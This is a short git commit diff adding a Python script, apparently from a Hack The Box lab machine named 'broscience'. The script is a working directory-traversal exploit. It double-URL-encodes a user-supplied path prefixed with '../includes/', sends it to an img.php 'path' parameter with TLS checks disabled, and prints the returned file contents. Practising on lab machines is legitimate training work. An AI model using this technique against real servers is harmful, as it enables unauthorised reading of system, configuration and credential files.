init htb

old htb folders

HTB/broscience/ape.py

@@ -0,0 +1,14 @@
+import requests
+import urllib3
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+def encode_all(string):
+    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
+
+if __name__ == '__main__':
+    while True:
+        i = input("~ ")
+        file = f"../includes/{i}"
+        file = encode_all(file)
+        file = encode_all(file)
+        r = requests.get(f"https://broscience.htb/includes/img.php?path={file}", verify=False)
+        print(r.text)